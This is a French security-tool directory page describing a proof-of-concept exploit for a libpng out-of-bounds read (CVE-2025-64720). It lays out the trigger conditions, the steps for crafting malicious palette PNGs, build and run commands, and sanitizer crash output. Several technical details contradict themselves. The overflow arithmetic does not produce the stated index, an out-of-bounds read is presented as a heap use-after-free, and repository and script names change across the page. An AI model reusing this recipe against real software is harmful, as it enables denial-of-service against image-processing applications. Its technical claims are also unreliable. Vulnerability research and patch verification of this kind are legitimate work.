Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-64720-PoC — Exploit de preuve de concept pour CVE-2025-64720, un dépassement de tampon dans libpng lors de la prémultiplication de palette. Comprend un générateur d'exploit, un harnais de test avec ASan/UBSan, et une analyse technique détaillée de la vulnérabilité heap-use-after-free. | Kitploit
Outils/GitHubGitHub/dantsco/cve-2025-64720-poc
Criminalistique MémoireAnalyse des VulnérabilitésExploitationFuzzingAnalyse de BinairesArticles et RechercheApprentissage et Éducation
GitHubdantsco/cve-2025-64720-poc

CVE-2025-64720-PoC

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit de preuve de concept pour CVE-2025-64720, un dépassement de tampon dans libpng lors de la prémultiplication de palette. Comprend un générateur d'exploit, un harnais de test avec ASan/UBSan, et une analyse technique détaillée de la vulnérabilité heap-use-after-free.

Voir le dépôt
23il y a 8 moisPas encore vérifié

CVE-2025-64720 : Débordement de tampon dans libpng lors de la prémultiplication de palette

Statut : Corrigé
Gravité : Élevée
CVE ID : CVE-2025-64720
Date de découverte : 2025-11-XX
Divulgation publique : 2025-11-21

Présentation

Résumé

Une vulnérabilité de lecture hors limites existe dans la fonction png_image_read_composite de libpng lors du traitement d'images palette avec PNG_FLAG_OPTIMIZE_ALPHA activé. Le code de composition de palette dans png_init_read_transformations applique incorrectement la composition d'arrière-plan pendant la prémultiplication, violant l'invariant component ≤ alpha × 257 requis par l'API PNG simplifiée, entraînant une corruption mémoire.


Détails de la vulnérabilité

Cause racine

Dans png_init_read_transformations à la ligne ~1336, le code d'expansion de palette effectue :

root@kitploit:~
component += (255-alpha)*png_sRGB_table[outrow[c]];

Ce calcul produit des valeurs de component allant jusqu'à 16 776 960 (0x1000800), où (component >> 15) == 512. La macro PNG_sRGB_FROM_LINEAR suivante dans png_image_read_composite effectue un accès hors limites au tableau :

root@kitploit:~
png_sRGB_base[component>>15]    // Accède à png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accède à png_sRGB_delta[512]
// Les deux tableaux ont seulement des indices 0-511 (taille 512)

Le problème se produit lorsque :

  1. Le PNG utilise le mode palette (type de couleur 3) avec transparence (morceau tRNS)
  2. L'application utilise l'API simplifiée avec un format compatible alpha
  3. PNG_FLAG_OPTIMIZE_ALPHA est activé en interne
  4. L'expansion de palette effectue la prémultiplication avec composition d'arrière-plan

Composant vulnérable

  • Fichier : pngread.c, pngtrans.c
  • Fonctions : png_image_read_composite, png_init_read_transformations
  • Chemin de code : API simplifiée → Expansion de palette avec optimisation alpha

Violation d'invariant

root@kitploit:~
Attendu : component ≤ alpha × 257
         Assure (component >> 15) ≤ 511 (dans les limites du tableau)

Réel :   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         Avec alpha=0, RGB=255 : component peut dépasser les limites attendues
         
Résultat :   (component >> 15) peut être égal à 512 (accès hors limites)

Versions affectées

Versions vulnérables

  • Logiciel : libpng
  • Versions : Toutes les versions < 1.6.51
  • Plateformes : Linux, Windows, macOS, BSD, etc.
  • Architectures : x86, x64, ARM, ARM64, etc.

Versions corrigées

  • Première version corrigée : 1.6.51
  • Date de publication : 2025-11-21
  • Commit du correctif : 08da33b

Détection de version

root@kitploit:~
# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

Analyse technique

Vecteur d'attaque

Un attaquant peut exploiter cette vulnérabilité en créant un fichier PNG malveillant avec des caractéristiques spécifiques :

  1. Prérequis de l'attaque :

    • L'application cible utilise libpng < 1.6.51
    • L'application utilise l'API PNG simplifiée (fonctions png_image_*)
    • L'application demande un format de sortie compatible alpha (par ex. RGBA, ARGB)
  2. Étapes de l'attaque :

    • Créer un PNG palette (type de couleur 3) avec un morceau tRNS
    • Définir les entrées de palette sur les valeurs RGB maximales (255, 255, 255)
    • Définir les valeurs alpha à zéro pour plusieurs entrées de palette
    • L'application victime traite le PNG avec le format alpha
    • PNG_FLAG_OPTIMIZE_ALPHA est activé en interne
    • L'expansion de palette viole l'invariant de composant
    • Un accès hors limites au tableau se produit
  3. Résultat de l'attaque :

    • Lecture hors limites de png_sRGB_base ou png_sRGB_delta
    • Corruption mémoire entraînant une utilisation après libération
    • Plantage de l'application (déni de service)
    • Divulgation potentielle d'informations via lecture hors limites

Disposition mémoire

root@kitploit:~
┌─────────────────┐
│ png_sRGB_base   │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │  Potential information disclosure
└─────────────────┘

Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)

Conditions de déclenchement

Conditions requises :

  • Type de couleur PNG 3 (indexé/palette)
  • Morceau tRNS présent (transparence)
  • Valeurs alpha de 0 dans le morceau tRNS
  • Valeurs RGB élevées dans la palette (surtout 255, 255, 255)
  • Utilisation de l'API simplifiée (png_image_finish_read)
  • Format compatible alpha (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA avec drapeaux)

Facteurs optionnels :

  • Le format avec PNG_FORMAT_FLAG_AFIRST augmente la probabilité de plantage
  • Des images plus grandes offrent plus d'opportunités de déclencher le bogue
  • Plusieurs entrées de palette avec alpha nul augmentent la fiabilité

Conditions non déclenchantes :

  • libpng >= 1.6.51 (corrigé)
  • PNG_FORMAT_RGBA sans drapeaux supplémentaires (parfois sûr)
  • Types de couleurs non palette (RGB, niveaux de gris, etc.)
  • Palette sans transparence
  • Toutes les valeurs alpha = 255 (entièrement opaque)

Preuve de concept

Démarrage rapide

root@kitploit:~
# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

Composants de la PoC

1. Générateur d'exploit (generate-images.py)

Génère des fichiers PNG malveillants qui déclenchent la vulnérabilité.

Utilisation :

root@kitploit:~
python3 generate_poc.py

Sortie :

  • exploit_v1.png - Image 8x8, palette blanche uniforme, alpha nul
  • exploit_v2.png - Image 8x8, variation de palette stratégique
  • exploit_v3.png - Image 64x64, grande avec motifs répétés
  • exploit_v4.png - Image 4x4, cas minimal avec alpha nul partout

Options :

root@kitploit:~
# Generate specific variant
generate_malicious_png('custom.png', variant=2)

# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow

2. Test (test.c)

Traite les fichiers PNG en utilisant l'API simplifiée et démontre la vulnérabilité.

Compilation :

root@kitploit:~
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

Fonctionnalités :

  • Teste plusieurs formats compatibles alpha (RGBA, ARGB, LINEAR_RGB_ALPHA)
  • Affiche la version de libpng et le statut de la vulnérabilité
  • Montre les valeurs du premier pixel pour vérification
  • Gestion complète des erreurs

Sortie attendue

Sur version vulnérable (libpng 1.6.36) :

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

Sur version corrigée (libpng >= 1.6.51) :

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

Impacts

Impacts confirmés

  • Déni de service : Plantage fiable de l'application lors du traitement de fichiers PNG malveillants
  • Corruption mémoire : Utilisation après libération due à une lecture hors limites corrompant l'état interne
  • Divulgation d'informations : Fuite potentielle du contenu mémoire adjacent via lecture hors limites

Impacts potentiels

  • Exécution de code à distance : Théoriquement possible si la corruption mémoire peut être contrôlée, bien que non démontrée
  • Exploitation de navigateur : Les navigateurs web utilisant une libpng vulnérable pourraient planter lors de la visite de sites malveillants

Reproduction pas à pas

Étape 1 : Générer l'exploit

root@kitploit:~
python3 generate_poc.py

Sortie attendue :

root@kitploit:~
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

Étape 2 : Compiler le test

root@kitploit:~
chmod +x build.sh
./build.sh

Sortie attendue :

root@kitploit:~
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

Étape 3 : Exécuter l'exploit

root@kitploit:~
./test_asan exploit_v1.png

Résultat attendu (Vulnérable - libpng 1.6.36) :

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

Résultat attendu (Corrigé - libpng >= 1.6.51) :

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

Méthodes de test alternatives

Avec Valgrind

root@kitploit:~
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

Sortie attendue (vulnérable) :

root@kitploit:~
==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

Avec GDB

root@kitploit:~
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

Avec LLDB (macOS M1-M4)

root@kitploit:~
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp

Références

Sources officielles

  • Avis du fournisseur : http://www.libpng.org/pub/png/libpng.html
  • Entrée CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
  • Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-64720
  • Page d'accueil libpng : http://www.libpng.org/pub/png/libpng.html

Détails techniques

  • Rapport de bogue : https://github.com/pnggroup/libpng/issues/686
  • Commit du correctif : https://github.com/pnggroup/libpng/commit/08da33b
  • Pull Request : https://github.com/pnggroup/libpng/pull/751
  • Notes de version : https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

Vulnérabilités associées

  • CVE-2025-64505 : Débordement de tas dans png_do_quantize() via un index de palette malformé
  • CVE-2025-64506 : Sur-lecture de tas dans png_write_image_8bit()
  • CVE-2025-65018 : Débordement de tas dans png_combine_row()
  • CVE-2019-7317 : Utilisation après libération dans png_image_free() (libpng < 1.6.37)

Crédits

Découverte

  • Samsung-PENTEST - Chercheur en sécurité
  • weijinjinnihao - Chercheur en sécurité
  • yosiimich - Chercheur en sécurité

Analyse et correctif

  • Fabio Gritti (Artiphishell) - Tri et analyse
  • John Bowler - Développeur libpng, contributeur au correctif
  • Cosmin Truta - Mainteneur libpng, implémentation du correctif

Tests

  • truediogo - Développement et validation de la PoC

Considérations légales et éthiques

Avertissement

⚠️ IMPORTANT : Cette PoC est fournie à des fins éducatives et de recherche uniquement.

  • Ce code est destiné à :

    • La recherche en sécurité
    • L'évaluation de vulnérabilité des systèmes que vous possédez
    • L'étude académique
    • Le développement de mesures défensives
    • La vérification de correctifs
  • Ce code n'est PAS destiné à :

    • L'accès non autorisé à des systèmes
    • Des attaques malveillantes
    • Causer du tort ou des dommages
    • Toute activité illégale
    • L'exploitation sans autorisation

En utilisant ce code, vous acceptez :

  1. De l'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester
  2. De vous conformer à toutes les lois et réglementations applicables
  3. D'assumer l'entière responsabilité de vos actions
  4. De ne pas tenir les auteurs responsables de toute utilisation abusive
  5. De suivre les pratiques de divulgation responsable
Télécharger l’outil